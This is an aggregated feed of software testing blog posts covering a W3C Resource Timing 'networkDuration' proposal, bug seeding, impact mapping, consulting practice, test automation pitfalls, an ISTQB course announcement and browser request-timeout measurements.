This Resource Timing blocking test page has 16 images, so some images incur blocking time no matter which browser is used. Each of the images is programmed on the server to have a 1 second delay. The “startTime” and “duration” are displayed for each of the 16 images. Here are WebPagetest results for this test page being loaded in ChromeIE10, and IE11. You can look at the screenshots to read the timing results. Note how “startTime” is approximately the same for all images. That’s because this is the time that the browser parsed the IMG tag and realized it needed to download the resource. But the “duration” values increase in steps of ~1 second for the images that occur later in the page. This is because they are blocked from downloading by the earlier images.

In Chrome, for example, the images are downloaded in three sets – because Chrome only downloads 6 resources at a time. The first six images have a “duration” of ~1.3 seconds (the 1 second backend delay plus some time for establishing the TCP connections and downloading the response body). The next six images have a “duration” of ~2.5 seconds. The last four images have a “duration” of ~3.7 seconds. The second set is blocked for ~1 second waiting for the first set to finish. The third set is blocked for ~2 seconds waiting for sets 1 & 2 to finish.

Even though the “duration” values increase from 1 to 2 to 3 seconds, the actual download time for all images is ~1 second as shown by the WebPagetest waterfall chart.

The results are similar for IE10 and IE11. IE10 starts with six parallel TCP connections but then ramps up to eight connections. IE11 also starts with six parallel TCP connections but then ramps up to twelve. Both IE10 and IE11 exhibit the same problem – even though the load time for every image is ~1 second, “duration” shows values ranging from 1-3 seconds.

proposal: “networkDuration”

Clearly, “duration” is not an accurate way to measure resource load times because it may include blocking time. (It also includes redirect time, but that occurs much less frequently.) Unfortunately, “duration” is the only metric available for cross-origin resources. Therefore, I’ve submitted a proposal to the W3C Web Performance mailing list to add “networkDuration” to Resource Timing. This would be available for both same-origin and cross-origin resources. (I’m flexible about the name; other candidates include “networkTime”, “loadTime”, etc.)

The calculation for “networkDuration” is as follows. (Assume ”r” is a PerformanceResourceTiming object.)

dns = r.domainLookupEnd - r.domainLookupStart; tcp = r.connectEnd - r.connectStart; // includes ssl negotiation waiting = r.responseStart - r.requestStart; content = r.responseEnd - r.responseStart; networkDuration = dns + tcp + waiting + content;

Developers working with same-origin resources can do the same calculations as shown above to derive “networkDuration”. Providing the result as a new attribute simplifies the process. It also avoids possible errors as it’s likely that companies and teams will compare these values, so it’s important to ensure an apples-to-apples comparison. But the primary need for “networkDuration” is for cross-origin resources. Right now, “duration” is the only metric available for cross-origin resources. I’ve found several teams that were tracking “duration” assuming it meant download time. They were surprised when I explained that it also including blocking time, and agreed it was not the metric they wanted; instead they wanted the equivalent of “networkDuration”.

I mentioned previously that the detailed time values (domainLookupStart, connectStart, etc.) are restricted to same-origin resources for privacy reasons. The proposal to add “networkDuration” is likely to raise privacy concerns; specifically that by removing blocking time, “networkDuration” would enable malicious third party JavaScript to determine whether a resource was read from cache. However, it’s possible to remove blocking time today using “duration” by loading a resource when there’s no blocking contention (e.g., after window.onload). Even when blocking time is removed, it’s ambiguous whether a resource was reach from cache or loaded over the network. Even a cache read will have non-zero load times.

The problem that “networkDuration” solves is finding the load time for more typical resources that are loaded during page creation and might therefore incur blocking time.

Takeaway

It’s not possible today to use Resource Timing to measure load time for cross-origin resources. Companies that want to measure load time and blocking time can use “duration”, but all the companies I’ve spoken with want to measure the actual load time (without blocking time). To provide better performance metrics, I encourage the addition of “networkDuration” to the Resource Timing specification. If you agree, please voice your support in a reply to my “networkDuration” proposal on the W3C Web Performance mailing list.

 

Categories: Software Testing

Test Your Testing With Bug Seeding – Part 1

Eric Jacobson's Software Testing Blog - Tue, 11/25/2014 - 13:24

I’m feeling quite cocky at the moment.  So cocky that I just asked my lead programmers to secretly insert a bug into the most complex area of the system under test.

Having just finished another epic automated check based on the Golden Master approach I discussed earlier, and seeing that most of the team is on pre-Thanksgiving vacation, this is the perfect time to “seed a bug”.  Theoretically, this new automated check should help put our largest source of regression bugs to rest and I am going to test it.

The programmer says he will hide the needle in the haystack by tomorrow.

I’m waiting…

Categories: Software Testing

How to get the most out of impact mapping

The Quest for Software++ - Mon, 11/17/2014 - 03:35

Ingrid Domingues, Johan Berndtsson and I met up in July this year to compare the various approaches to Impact Mapping and community feedback and investigate how to get the most out of this method in different contexts. The conclusion was that there are two key factors to consider for software delivery using impact maps, and recognising the right context is crucial to get the most out of the method. The two important dimensions are the consequences of being wrong (making the the wrong product management decisions) and the ability to make investments.

These two factors create four different contexts, and choosing the right approach is crucial in order to get the most out of the method:

  • Good ability to make investments, and small consequences of being wrong – Iterate: Organisations will benefit from taking some initial time defining the desired impact, and then exploring different solutions with small and directed impact maps that help design and evaluate deliverables against desired outcome.
  • Poor ability to decide on investments, small consequences of being wrong – Align: Organisations will benefit from detailing the user needs analysis in order to make more directed decisions, and to drive prioritisation for longer pieces of work. Usually only parts of maps end up being delivered.
  • Good ability to make investments, serious consequences of being wrong – Experiment: Organisations can explore different product options and user needs in multiple impact maps.
  • Poor ability to make investments, serious consequences of being wrong – Discover: The initial hypothesis impact map is detailed by user studies and user testing that converge towards the desired impact.

We wrote an article about this. You can read it on InfoQ.

Thoughts on the Consulting Profession

Randy Rice's Software Testing & Quality - Fri, 11/14/2014 - 22:28
Sometimes I come across something that makes me realize I am the "anti" version of what I am seeing or hearing.

Recently, I saw a Facebook ad for a person's consulting course that promised high income quickly with no effort on the part of the "consultant" to actually do the work. "Everything is outsourced," he goes on to say. In his videos he shows all of his expensive collections, which include both a Ferrari and a Porsche. I'm thinking "Really?"

I'm not faulting his success or his income, but I do have a problem with the promotion of the concept that one can truly call themselves a consultant or an expert in something without actually doing the work involved. His high income is based on the markup of other people's subcontracting rates because they are the ones with the actual talent. Apparently, they just don't think they are worth what they are being billed for in the marketplace.

It does sound enticing and all, but I have learned over the years that my clients want to work with me, not someone I just contract with. I would like to have the "Four Hour Workweek", but that's just not the world I live in.

Nothing wrong with subcontracting, either. I sometimes team with other highly qualified and experienced consultants to help me on engagements where the scope is large. But I'm still heavily involved on the project.

I think of people like Gerry Weinberg or Alan Weiss who are master consultants and get their hands dirty in helping solve their client's problems. I mentioned in our webinar yesterday that I was fortunate to have read Weinberg's "Secrets of Consulting" way back in 1990 when I was first starting out on my own in software testing consulting. That book is rich in practical wisdom, as are Weiss' books. (Weiss also promotes the high income potential of consulting, but it is based on the value he personally brings to his clients.)

Without tooting my own horn too loudly, I just want to state for the record that I am a software quality and testing practitioner in my consulting and training practice. That establishes credibility with my clients and students. I do not get consulting work, only to then farm it out to sub-contractors. I don't consider that as true consulting.

True consulting is strategic and high-value. My goal is to do the work, then equip my clients to carry on - not to be around forever, as is the practice of some consulting firms. However, I'm always available to support my clients personally when they need ongoing help.

Yes, I still write test plans, work with test tools, lead teams and other detailed work so I can stay sharp technically. However, that is only one dimension of the consulting game - being able to consult and advise others because you have done it before yourself (and it wasn't all done 20 years ago).

Scott Adams, the creator of the Dilbert comic strip had a heyday with poking fun at consultants. His humor had a lot of truth in it, as did the movie "Office Space."

My point?

When choosing a consultant, look for 1) experience and knowledge in your specific area of problems (or opportunities), 2) the work ethic to actually spend time on your specific concerns, and 3) integrity and trust. All three need to be in place or you will be under-served.

Rant over and thanks for reading! I would love to hear your comments.

Randy


Categories: Software Testing

Test Automation Venus Flytrap

Eric Jacobson's Software Testing Blog - Fri, 11/14/2014 - 14:39

You’ve got this new thing to test. 

You just read about a tester who used Selenium and he looked pretty cool in his bio picture.  Come on, you could do that.  You could write an automated check for this.  As you start coding, you realize your initial vision was too ambitious so you revise it.  Even with the revised design you’re running into problems with the test stack.  You may not be able to automate the initial checks you wanted, but you can automate this other thing.  That’s something.  Besides, this is fun.  The end is in sight.  It will be so satisfying to solve this.  You need some tasks with closure in your job, right?  This automated check has a clear output.  You’ve almost cracked this thing…cut another corner and it just might work.  Success!  The test passes!  You see green!  You rule!  You’re the Henry Ford of testing!  You should wear a cape to work!

Now that your automated thingamajig is working and bug free, you can finally get back to what you were going to test.  Now what was it?

I’m not hating on test automation.  I’m just reminding myself of its intoxicating trap.  Keep your eyes open.

Categories: Software Testing

ISTQB Advanced Technical Test Analyst e-Learning Course

Randy Rice's Software Testing & Quality - Fri, 11/14/2014 - 13:35




I am excited to announce the availability of my newest e-Learning course - The ISTQB Advanced Technical Test Analyst certification course. To register, just go to https://www.mysoftwaretesting.com/ISTQB_Advanced_Technical_Test_Analyst_e_Learning_p/advtta.htm
To take a free demo, just click on the demo button.





This e-Learning course follows on from the ISTQB Foundation Level Course and leads to the ISTQB Advanced Technical Test Analyst Certification. The course focuses specifically on technical test analyst issues such as producing test documentation in relation to technical testing, choosing and applying appropriate specification-based, structure-based, defect-based and experienced-based test design techniques, and specifying test cases to evaluate software characteristics. Candidates will be given exercises, practice exams and learning aids for the ISTQB Advanced Technical Test Analyst qualification.
Categories: Software Testing

Webinar Recording and Slides from Estabilishing the Software Quality Organization

Randy Rice's Software Testing & Quality - Fri, 11/14/2014 - 12:24
Hi all,

Thanks to everyone who attended yesterday's webinar on "Establishing the Software Quality Organization" with Tom Staab and me.

Here is the recording of the session: http://youtu.be/pczgcHGvV5Q

Here are the slides in PDF format: http://www.softwaretestingtrainingonline.com/cc/public_pdf/Establishing%20The%20SQO%20webinar%2011132014-1.pdf

I hope you can attend some of our future sessions!

Thanks,

Randy
Categories: Software Testing

Request Timeout

Steve Souders - Fri, 11/14/2014 - 04:15

With the increase in 3rd party content on websites, I’ve evangelized heavily about how Frontend SPOF blocks the page from rendering. This is timely given the recent Doubleclick outage. Although I’ve been warning about Frontend SPOF for years, I’ve never measured how long a hung response blocks rendering. I used to think this depended on the browser, but Pat Meenan recently mentioned he thought it depended more on the operating system. So I decided to test it.

My test page contains a request for a script that will never return. This is done using Pat’s blackhole server. Eventually the request times out and the page will finish loading. Thus the amount of time this takes is captured by measuring window.onload. I tweeted asking people to run the test and collected the results in a Browserscope user test.

The aggregated results show the median timeout value (in seconds) for each type of browser. Unfortunately, this doesn’t reflect operating system. Instead, I exported the raw results and did some UA parsing to extract an approximation for OS. The final outcome can be found in this Google Spreadsheet of Blackhole Request Timeout values.

Sorting this by OS we see that Pat was generally right. Here are median timeout values by OS:

  • Android: ~60 seconds
  • iOS: ~75 seconds
  • Mac OS: ~75 seconds
  • Windows: ~20 seconds

The timeout values above are independent of browser. For example, on Mac OS the timeout value is ~75 seconds for Chrome, Firefox, Opera, and Safari.

However, there are a lot of outliers. Ilya Grigorik points out that there are a lot of variables affecting when the request times out; in addition to browser and OS, there may be server and proxy settings that factor into the results. I also tested with my mobile devices and got different results when switching between carrier network and wifi.

The results of this test show that there are more questions to be answered. It would take someone like Ilya with extensive knowledge of browser networking to nail down all the factors involved. A general guideline is Frontend SPOF from a hung response ranges from 20 to 75 seconds depending on browser and OS.

Categories: Software Testing

Pages